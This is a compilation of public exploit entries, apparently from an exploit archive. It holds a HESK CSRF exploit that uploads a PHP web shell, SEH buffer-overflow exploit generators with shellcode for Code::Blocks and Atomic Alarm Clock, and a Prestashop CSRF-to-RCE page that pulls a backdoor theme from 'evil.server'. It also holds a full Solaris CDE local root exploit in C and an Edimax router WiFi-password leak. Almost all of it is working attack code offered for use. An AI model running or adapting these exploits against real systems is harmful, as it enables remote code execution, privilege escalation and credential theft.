      <input type="hidden" name="timer" value="yes" />
      <input type="hidden" name="startwork" value="yes" />
      <input type="hidden" name="workedit" value="yes" />
      <input type="hidden" name="notify" value="yes" />
      <input type="hidden" name="spamnotify" value="yes" />
      <input type="hidden" name="signature" value="" />
      <input type="hidden" name="nameFrom" value="" />
      <input type="hidden" name="emailFrom" value="" />
      <input type="hidden" name="email2" value="" />
      <input type="hidden" name="notes" value="" />
      <input type="hidden" name="mailbox" value="yes" />
      <input type="hidden" name="mailDeletion" value="yes" />
      <input type="hidden" name="mailScreen" value="yes" />
      <input type="hidden" name="mailCopy" value="yes" />
      <input type="hidden" name="mailFolders" value="5" />
      <input type="hidden" name="mailPurge" value="0" />
      <input type="hidden" name="digest" value="yes" />
      <input type="hidden" name="process" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

- After the Add admin account, you can upload the PHP file.

CSRF PoC 2 - ( Directly, File Upload)
----------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST",
"http:\/\/localhost\/helpdesk\/admin\/index.php?ajax=faqattach", true);
        xhr.setRequestHeader("Accept", "application\/json,
text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------1851832753272583700731626849");
        xhr.withCredentials = true;
        var body =
"-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"file[]\";
filename=\"shell.php\"\r\n" +
          "Content-Type: text/php\r\n" +
          "\r\n" +
          "\x3c?php echo system($_GET[\'cmd\']); ?\x3e\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"file[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"remote[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"remote[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"remote[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"process\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"opath\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </body>
</html>

HTTP Request:
-----------------------------------------------------------------------------------------
GET /helpdesk/content/attachments-faq/shell.php?cmd=ls HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0)
Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=4574c8e8190d39edd9d13a0fd9a502ec;
bp_ut_session={"pageviews":1,"referrer":"
http://localhost/olms/library/assets/js/images/","landingPage":"
http://localhost/olms/library/assets/js/images/sort_asc.html
","started":1587817504988};
HESKb910af33bb5d80030b1f4b6f8666b57fac433d4d=71c43ff24f63f83f5a34d28997251db6
Upgrade-Insecure-Requests: 1

HTTP Response:
-------------------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Sun, 26 Apr 2020 12:15:31 GMT
Server: Apache/2.4.43 (Unix) OpenSSL/1.1.1f PHP/7.2.29 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/7.2.29
Content-Length: 39
Connection: close
Content-Type: text/html; charset=UTF-8

shell.php
shell_test.php
shell_test.php
HireHackking 
# Exploit Title: Code Blocks 16.01 - Buffer Overflow (SEH) UNICODE
# Date: 2020-04-17
# Exploit Author: T3jv1l
# Software Link: https://sourceforge.net/projects/codeblocks/files/Binaries/16.01/Windows/codeblocks-16.01-setup.exe
# Software version: 16.01


buffer="A"*536	#buffer
buffer+="\x61\x41"	#POPAD + Aligned
buffer+="\xF2\x41"	#POP/POP/RET

#----------------------Align the eax to point to the shellcode PART -----------------------
#buffer+="\x90"	#NOP
#buffer+="\x6e"	#venetian padding
#buffer+="\x05\x37\x13"	#add eax, 0x13003700
#buffer+="\x6e"
#buffer+="\x2d\x36\x13"	#sub eax, 0x13003600
#buffer+="\x6e"	#venetian padding
#buffer+="\x50"	#push eax
#buffer+="\x6e"	#Venetian padding
#buffer+="\xc3"	#ret

#----------------------Shellcode PlaceHOLDER ----------------------------------------------
#uffer+="\x90"*111
#buffer+=("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIX52KPKPM01PDIJEP1Y0QT4KPPNPTK1BLLTK1BMDDKSBNHLO6WPJNFNQKOVLOLC13LM2NLO07QXOLMKQ7WJBZR220WDKQBN0TKOZOLTKPLN1T8ZCOXKQZ10QTKQIMPKQXSTKOYLXISOJ19TKNTTKM1XV01KOFL7Q8OLMKQGW08YPD5L6KSSMJXOKSMMTBU9TPXDKR8MTKQYCRF4KLLPKTKPXMLKQJ3TKKTDKKQZ0E9OTMTO4QK1K1Q291JPQKO9PQOQOQJTKN2JKDM1MRJKQ4M3UGBKPM0M0R0RHNQTKRO4GKOXUWKL0VU6BPVQXVFDU7MUMKO9EOLM63LLJE0KKYP2UM5WKOWN3T2RORJKP1CKOJ5BCS1RL33NNS5RX2EKPA")
buffer+="\xcc\xcc\xcc\xcc"
buffer+="\x90"*(5000-len(buffer))
f=open('exploit.m3u','w');
f.write(buffer);
f.close();
print "[+] File created."
HireHackking 
# Exploit Title: Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)
# Exploit Author: Bobby Cooke
# Date: 2020-04-17
# Vendor: Drive Software Company
# Vendor Site: http://www.drive-software.com
# Software Download: http://www.drive-software.com/download/ataclock.exe
# Tested On: Windows 10 - Pro 1909 (x86)
# Version: Atomic Alarm Clock 6.3 beta
# Recreate: Install > Open > Run Exploit > Open poc.txt & copy to clipboard > Time Zones > Clock1 > click 'Enter display name' textbox > paste buffer

File    = 'poc.txt'

os_nSEH = '\x41'*(461)
nSEH    = '\xeb\x05'   # jmp short +2
SEH     = '\x47\x47'   # 0x00470047 : pop esi # pop ebx # ret [AtomicAlarmClock.exe] 
#{PAGE_EXECUTE_READ} ASLR: False, Rebase: False, SafeSEH: False 

getPC   = '\x73'   # add [ebx], dh   # nop | [EBX] = writable memory 
getPC  += '\x61'   # popad           # [ESP] = &Payload
getPC  += '\x72'   # add [edx], dh   # realigns execution for 1 byte opcodes

ebx2eax  = '\x58'  # pop eax         # EAX = &Payload
ebx2eax += '\x72'  # add [edx], dh

# Ajust EAX to &Decoder
getDecoder  = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x50'         # push eax            # [ESP] = &Decoder
getDecoder += '\x72'         # add [edx], dh

#DecoderHex  = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' 
firstHalf   = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' 
## 2nd byte - \x00 => \x5F
venBlinds   = '\x40\x72\xC6\x5F\x72\x40\x72\x40\x72'         
## 4th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 6th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 8th byte - \x00 => \x66
venBlinds  += '\xC6\x66\x72\x40\x72\x40\x72'         
## 10th byte - \x00 => \x10
venBlinds  += '\xC6\x10\x72\x40\x72\x40\x72'         
## 12th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 14th byte - \x00 => \x42
venBlinds  += '\xC6\x42\x72\x40\x72\x40\x72'         
## 16th byte - \x00 => \x32
venBlinds  += '\xC6\x32\x72\x40\x72\x40\x72'         
## 18th byte - \x00 => \x02
venBlinds  += '\xC6\x02\x72\x40\x72\x40\x72'         
## 20th byte - \x00 => \x10
venBlinds  += '\xC6\x10\x72\x40\x72\x40\x72'         
## 22nd byte - \x00 => \x3F
venBlinds  += '\xC6\x3F\x72\x40\x72\x40\x72'         
## 24nd byte - \x00 => \x1F
venBlinds  += '\xC6\x1F\x72\x40\x72\x40\x72'         
## 26th byte - \x00 => \x49
venBlinds  += '\xC6\x49\x72\x40\x72\x40\x72'         
## 28th byte - \x00 => \x02
venBlinds  += '\xC6\x02\x72\x40\x72\x40\x72'         
## 30th byte - \x00 => \xED
venBlinds  += '\xC6\xED\x72\x40\x72\x40\x72'         
## 32nd byte - \x00 => \xC3
venBlinds  += '\xC6\xC3\x72\x40\x72'         
# Jump to the decoded decoder by Returning to the address we saved on the stack
venBlinds  += '\xC3'         #   ret  [!] Now we are executing the decoder!

os_decoder   = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))

# Custom PopCalc shellcode that avoids the bad characters
fKernel32  = '\x33\xF6\xF7\xE6\x64\x03\x52\x30\x03\x42\x0C\x03\x70\x1C\xAD\x50\x5E\xAD\xFF\x70\x08'

gExpotTbl  = '\x33\xC9\x33\xF6\x33\xDB\xF7\xE3\x58\x50\x03\x70\x3C\x03\xF0\x03\x56\x78\x03\xD0\x03\x5A\x20\x03\xD8\x03\x4A\x24\x03\xC8\x51\x33\xFF\x03\x7A\x1C\x03\xF8\x57'

fWinExec   = '\x68\x57\x69\x6E\x45\x33\xC0\x33\xF6\x03\xF4\xFC\x50\x33\xC9\x41\x41\x41\x41\xF7\xE1\x33\xFF\x03\x3C\x18\x58\x03\x7C\x24\x0C\xF3\xA6\x74\x03\x40\xEB\xE1\x33\xC9\x41\x41\xF7\xE1\x33\xC9\x03\x4C\x24\x08\x03\xC8\x33\xC0\x66\x03\x01\x33\xC9\x41\x41\x41\x41\xF7\xE1\xFF\x74\x24\x04\x01\x04\x24\x5A\x33\xDB\x03\x1A\x03\x5C\x24\x0C'

# Call WinExec( CmdLine, ShowState );
#   CmdLine   = "calc.exe"
#   ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
callWinExec  = '\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x33\xC0\x03\xC4\x41\x51\x50\xFF\xD3'

shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec

buffer      = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
filler      = '\x77'*(9000-len(buffer))
buffer      = buffer+filler

try:
    payload   = buffer
    f         = open(File, 'w')
    f.write(payload)
    f.close()
    print File + " created successfully"
except:
    print File + ' failed to create'
HireHackking 
<html>

<!--

# Exploit Title: Prestashop <= 1.7.6.4 single-click RCE exploit
# Date: 2020-04-11
# Exploit Author: Sivanesh Ashok | @sivaneshashok | stazot.com
# Vendor Homepage: https://www.prestashop.com/
# Version: 1.7.6.4 and below
# Tested on: Windows 10 / XAMPP / Prestashop v1.7.6.4

Prestashop <= 1.7.6.4 single-click RCE exploit

Written by Sivanesh Ashok | @sivaneshashok | stazot.com

For more details, visit https://stazot.com/prestashop-csrf-to-rce-article

Change the values of the 3 variables marked as "change this"
  
-->

<!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <h3>This is totally a legit page. Just keep reading this for a minute :)</h3>

  <script>history.pushState('', '', '/')</script>
    <script>
      var target = "http://localhost"; //change this
      var admin_url = "/admin123ab45cd"; //change this
      var theme_url = "http://evil.server/backdoor-theme.zip"; //change this - link to the malicious theme zip file
      var xhr0 = new XMLHttpRequest();
      xhr0.open("GET", target+admin_url+"/filemanager/dialog.php");
      xhr0.withCredentials = true;
      xhr0.send();
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", target+admin_url+"/filemanager/upload.php", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6487332036660663652470259777");
        xhr.withCredentials = true;
        var body = "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"path\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"path_thumb\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"file\"; filename=\"exploit.svg\"\r\n" + 
          "Content-Type: image/svg+xml\r\n" + 
          "\r\n" + 
          "\x3csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\x3e\r\n" + 
          "\r\n" + 
          "\t\x3cscript xlink:href=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js\"\x3e\x3c/script\x3e\r\n" + 
          "\t\r\n" + 
          "\t\x3cscript\x3e\r\n" + 
          "\t\r\n" + 
          "\t$.ajaxSetup({async: false});\r\n" + 
          "\r\n" + 
          "\tvar target = \'" + target + "\';\r\n" + 
          "\tvar admin_url = \'" + admin_url + "\';\r\n" + 
          "\tvar theme_url = \'" + theme_url + "\';\r\n" + 
          "\tvar import_url = \'\';\r\n" + 
          "\tvar import_token = \'\';\r\n" + 
          "\t\r\n" + 
          "\t$.get(target+admin_url+\'/index.php/improve/design/themes/import\', function( my_var0 ) {\r\n" + 
          "\t\r\n" + 
          "\t\tvar tmp = my_var0.match(/_token(.{44})/g);\r\n" + 
          "\t\ttmp = tmp.toString().split(\"=\");\r\n" + 
          "\t\ttmp = tmp[1];\r\n" + 
          "\t\timport_url = target+admin_url+\'/improve/design/themes/import?_token=\'+tmp;\r\n" + 
          "\r\n" + 
          "\t}, \'html\');\r\n" + 
          "\r\n" + 
          "\t$.get(import_url, function( my_var1 ) {\r\n" + 
          "\r\n" + 
          "\t\tvar tmp = my_var1.match(/import_theme__token(.{101})/g);\r\n" + 
          "\t\ttmp = tmp.toString().split(\' \');\r\n" + 
          "\t\ttmp = tmp[3].toString().split(\'=\\\"\');\r\n" + 
          "\t\timport_token = tmp[1];\r\n" + 
          "\r\n" + 
          "\t}, \'html\');\r\n" + 
          "\r\n" + 
          "\tvar themeUploadData = new FormData();\r\n" + 
          "\tthemeUploadData.append(\'import_theme[import_from_web]\', theme_url);\r\n" + 
          "\tthemeUploadData.append(\'import_theme[_token]\', import_token);\r\n" + 
          "\r\n" + 
          "\t$.ajax({\r\n" + 
          "\t\turl: import_url,\r\n" + 
          "\t\tdata: themeUploadData,\r\n" + 
          "\t\tcache: false,\r\n" + 
          "\t\tcontentType: false,\r\n" + 
          "\t\tprocessData: false,\r\n" + 
          "\t\tmethod: \'POST\'\r\n" + 
          "\t});\r\n" + 
          "\r\n" + 
          "\t\x3c/script\x3e\r\n" + 
          "\r\n" + 
          "\x3c/svg\x3e\r\n" + 
          "\r\n" + 
          "-----------------------------6487332036660663652470259777--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      window.setTimeout(function(){
        submitRequest();
      }, 1500);
      window.setTimeout(function(){
        var iframe = document.createElement('iframe');
        iframe.style.display = "none";
        iframe.src = target+"/img/cms/exploit.svg";
        document.body.appendChild(iframe);
      }, 4000);
    </script>
  </body>
</html>
HireHackking 
# Title: Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation
# Date: 2020-04-21
# Author: Marco Ivaldi
# Vendor: www.oracle.com
# CVE: CVE-2020-2944

/*
 * raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel
 * Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * A buffer overflow in the _SanityCheck() function in the Common Desktop
 * Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and
 * earlier allows local users to gain root privileges via a long calendar name
 * or calendar owner passed to sdtcm_convert in a malicious calendar file
 * (CVE-2020-2944).
 *
 * The open source version of CDE (based on the CDE 2.x codebase) is not
 * affected, because it does not ship the vulnerable binary.
 *
 * "CDE, the gift that keeps on giving" -- @0xdea
 * "Feels more like a curse you can't break from this side." -- @alanc
 *
 * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack
 * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory
 * space, try returning to sprintf() instead of strcpy().
 *
 * I haven't written a Solaris/SPARC version because I don't have a SPARC box
 * on which Solaris 10 can run. If anybody is kind enough to give me access to
 * such a box, I'd be happy to port my exploit to Solaris/SPARC as well.
 *
 * Usage:
 * $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall
 * $ ./raptor_sdtcm_conv
 * [...]
 * Do you want to correct it? (Y/N) [Y] n
 * # id
 * uid=0(root) gid=1(other) egid=12(daemon)
 * #
 *
 * This should work with any common configuration on the first try. To
 * re-enable rpc.cmsd, clear its service maintenance status by running the
 * following commands as root:
 * # /usr/sbin/svcadm clear cde-calendar-manager
 * # /usr/bin/svcs -a | grep calendar
 * online         13:16:54 svc:/network/rpc/cde-calendar-manager:default
 *
 * Tested on:
 * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
 * [previous Solaris versions are also likely vulnerable]
 */

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#include <sys/types.h>

#define INFO1	"raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel"
#define INFO2	"Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	VULN	"/usr/dt/bin/sdtcm_convert"	// the vulnerable program
#define ADMIN	"/usr/dt/bin/sdtcm_admin"	// calendar admin utility
#define	BUFSIZE	2304				// size of the name/owner
#define PAYSIZE	1024				// size of the payload
#define OFFSET	env_len / 2			// offset to the shellcode

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char	*env[256];
int	env_pos = 0, env_len = 0;

/* prototypes */
int	add_env(char *string);
void	check_zero(int addr, char *pattern);
int	search_ldso(char *sym);
int	search_rwx_mem(void);
void	set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char	buf[BUFSIZE], payload[PAYSIZE];
	char	platform[256], release[256], hostname[256];
	int	i, payaddr;

	char	*arg[3] = {"foo", "hax0r", NULL};
	int	sb = ((int)argv[0] | 0xfff);	/* stack base */
	int	ret = search_ldso("strcpy");	/* or sprintf */
	int	rwx_mem = search_rwx_mem();	/* rwx memory */

	char	cmd[1024];
	FILE	*fp;

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* read command line */
	if (argc != 1) {
		fprintf(stderr, "Usage:\n%s\n[...]\n", argv[0]);
		fprintf(stderr, "Do you want to correct it? (Y/N) [Y] n\n\n");
		exit(1);
	}

	/* get system information */
	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
	sysinfo(SI_HOSTNAME, hostname, sizeof(release) - 1);

	/* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */
	memset(payload, '\x90', PAYSIZE);
	payload[PAYSIZE - 1] = 0x0;
	memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));

	/* fill the envp, keeping padding */
	add_env(payload);
	add_env("HOME=/tmp");
	add_env(NULL);

	/* calculate the payload address */
	payaddr = sb - OFFSET;

	/* prepare the evil palette name */
	memset(buf, 'A', sizeof(buf));
	buf[sizeof(buf) - 1] = 0x0;

	/* fill with function address in ld.so.1, saved eip, and arguments */
	for (i = 0; i < BUFSIZE - 16; i += 4) {
		set_val(buf, i, ret);		/* strcpy */
		set_val(buf, i += 4, rwx_mem);	/* saved eip */
		set_val(buf, i += 4, rwx_mem);	/* 1st argument */
		set_val(buf, i += 4, payaddr);	/* 2nd argument */
	}

	/* print some output */
	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
	fprintf(stderr, "Using SI_HOSTNAME\t: %s\n", hostname);
	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
	fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr);
	fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

	/* create the evil calendar file */
	fprintf(stderr, "Preparing the evil calendar file... ");
	snprintf(cmd, sizeof(cmd), "%s -a -c hax0r@%s", ADMIN, hostname);
	if (system(cmd) == -1) {
		perror("Error creating calendar file");
		exit(1);
	}
	if (chmod("/usr/spool/calendar/callog.hax0r", 0660) == -1) {
		perror("Error creating calendar file");
		exit(1);
	}

	/* prepare the evil calendar file (badchars currently not handled) */
	fp = fopen("/usr/spool/calendar/callog.hax0r", "w");
	if (!fp) {
		perror("Error preparing calendar file");
		exit(1);
	}
	fprintf(fp, "Version: 4\n(calendarattributes "
		    "(\"-//XAPIA/CSA/CALATTR//NONSGML Access List//EN\","
		    "\"10:access_list\",\"world:2\")\n");
	/* buffer overflow in calendar name */
	fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\","
		    "\"5:string\",\"%s\")\n", buf);
	fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\","
		    "\"6:user\",\"fnord\")\n)");
	/* buffer overflow in calendar owner */
	/*
	fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\","
		    "\"5:string\",\"hax0r\")\n");
	fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\","
		    "\"6:user\",\"%s\")\n)", buf);
	*/
	fclose(fp);

	fprintf(stderr, "Done.\n");

	/* run the vulnerable program */
	fprintf(stderr, "Exploiting... Please answer \"n\" when prompted.\n");
	execve(VULN, arg, env);
	perror("execve");
	exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
	int	i;

	/* null termination */
	if (!string) {
		env[env_pos] = NULL;
		return env_len;
	}

	/* add the variable to envp */
	env[env_pos] = string;
	env_len += strlen(string) + 1;
	env_pos++;

	/* pad the envp using zeroes */
	if ((strlen(string) + 1) % 4)
		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
			env[env_pos] = string + strlen(string);
			env_len++;
		}

	return env_len;
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
	    !(addr & 0xff000000)) {
		fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
		exit(1);
	}
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
	int		addr;
	void		*handle;
	Link_map	*lm;

	/* open the executable object file */
	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
		perror("dlopen");
		exit(1);
	}

	/* get dynamic load information */
	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
		perror("dlinfo");
		exit(1);
	}

	/* search for the address of the symbol */
	if ((addr = (int)dlsym(handle, sym)) == NULL) {
		fprintf(stderr, "Sorry, function %s() not found\n", sym);
		exit(1);
	}

	/* close the executable object file */
	dlclose(handle);

	check_zero(addr - 4, sym);
	return addr;
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
	int	fd;
	char	tmp[16];
	prmap_t	map;
	int	addr = 0, addr_old;

	/* open the proc filesystem */
	sprintf(tmp,"/proc/%d/map", (int)getpid());
	if ((fd = open(tmp, O_RDONLY)) < 0) {
		fprintf(stderr, "Can't open %s\n", tmp);
		exit(1);
	}

	/* search for the last RWX memory segment before stack (last - 1) */
	while (read(fd, &map, sizeof(map)))
		if (map.pr_vaddr)
			if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
				addr_old = addr;
				addr = map.pr_vaddr;
			}
	close(fd);

	/* add 4 to the exact address NULL bytes */
	if (!(addr_old & 0xff))
		addr_old |= 0x04;
	if (!(addr_old & 0xff00))
		addr_old |= 0x0400;

	return addr_old;
}

/*
 * set_val(): copy a dword inside a buffer (little endian)
 */
void set_val(char *buf, int pos, int val)
{
	buf[pos] =	(val & 0x000000ff);
	buf[pos + 1] =	(val & 0x0000ff00) >> 8;
	buf[pos + 2] =	(val & 0x00ff0000) >> 16;
	buf[pos + 3] =	(val & 0xff000000) >> 24;
}
HireHackking 
# Exploit Title: Edimax EW-7438RPn 1.13 - Information Disclosure (WiFi Password)
# Date: 2020-04-21
# Exploit Author: Besim ALTINOK
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
# Version:1.13
# Tested on: Edimax EW-7438RPn 1.13 Version

-----------------------------
Here step by step :

   1. I did Setup
   2. After setup try to access to *wlencrypt_wiz.asp* file
   3. After access to this file, I saw some information disclosure
(Like *WiFi Password*)
   4. Here is the all leak here:

-------------------------------

<SCRIPT>
var _DATE_="Mon Sep 24 19:38:17 CST 2012";
var _VERSION_="1.13";
var _MODEL_="EW7438RPN";
var _MODE_="Edimax";
var _PLATFORM_="RTL8196CS_1200";
var _HW_LED_WPS_="4";
var _HW_LED_POWER_="6";
var _HW_LED_WIRELESS_="2";
var _HW_BUTTON_RESET_="5";
var _HW_BUTTON_WPS_="1";
var _HW_BUTTON_SWITCH_="3";
var _HW_LED_USB_="17";
var _WIRELESS_IGMPSNOOP_="y";
var _SPECIAL_CHAR_FILTER_IN_SCRIPT_="y";
var _RDISC_="y";
var _WPS_NO_BROADCAST_="y";
var _UPNP_LIB_VERSION2_="y";
var _WDS_UR_INFO_="y";
var _RESERVE_ENCRYPTION_SETTING_="y";
var _IGMP_PROXY_="y";
var _IGMPSNOOP_="y";
var _RFTYPE_="2T2R";
var _MEMBUS_="16";
var _MEMSIZE_="16";
var _MEMTYPE_="SDRAM";
var _FLASHTYPE_="SPI";
var _REMOVE_RADIUS_SERVER_="y";
var _AUTO_CHANNEL_DET_="y";
var _CONTROL_SIDEBAND_="y";
var _WIFI_11N_STANDARD_="y";
var _SETTING_WIZARD_="y";
var _CONFIG_FILE_NAME_="7438RPN";
var _AP_WITH_DNS_="y";
var _USE_DNRD_="y";
var _WPS_MIX_="y";
var _POWER_SAVING_="y";
var _WEB_FILE_NAME_="7438RPN";
var _PINCODE_BY_MAC_="y";
var _UPNP_RESPONDER_="y";
var _MDNS_RESPONDER_="y";
var _NETBIOS_RESPONDER_="y";
var _AP_WITH_DHCP_CLIENT_="y";
var _LLTD_NODENAME_="y";
var _DHCP_SWITCH_="y";
var _CONNECT_TEST_="y";
var _START_BOA_="y";
var _WPS_Daemon_="y";

var security = 1;
apMode = 6;
methodVal = 2;
opMode = 0;
apMachType = 1;

var ssidTbl = 		new Array("PentesterTraining");
var mirrorTbl =		"";
var secModeTbl = 	new Array("2");
var enable1XTbl = 	new Array("0");
var _1xMode =		"0";
var wepTbl =		new Array("0");
var keyTypeTbl =	new Array("1");
var wpaCipherTbl =	new Array("2");
var pskFormatTbl =	new Array("0");
var pskValueTbl =	new Array("wifipass123.");
var defaultKeyIdTbl=new Array("0");
var rsIp=		"";
var rsPort=		"1812";
var rsPassword=		"";


-- 

Besim ALTINOK

*Security Engineer*
HireHackking 
# Exploit Title: Online Course Registration 2.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-04-25
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/online-course-registration-free-download/
# Version: 2.0
# Tested on: Kali Linux x64 5.4.0
# CVE : N/A

#There are multiple SQL injection vulnerabilities in Online Course Registration #PHP script:

#./check_availability.php:               $result =mysqli_query($con,"SELECT studentRegno FROM    courseenrolls WHERE course='$cid' and studentRegno=' $regid'");
#./check_availability.php:               $result =mysqli_query($con,"SELECT * FROM courseenrolls WHERE course='$cid'");
#./check_availability.php:               $result1 =mysqli_query($con,"SELECT noofSeats FROM course WHERE id='$cid'");
#./change-password.php:$sql=mysqli_query($con,"SELECT password FROM  students where password='".md5($_POST['cpass'])."' && studentRegno='".$_SESSION['login']."'");
#./admin/check_availability.php:         $result =mysqli_query($con,"SELECT StudentRegno FROM students WHERE StudentRegno='$regno'");
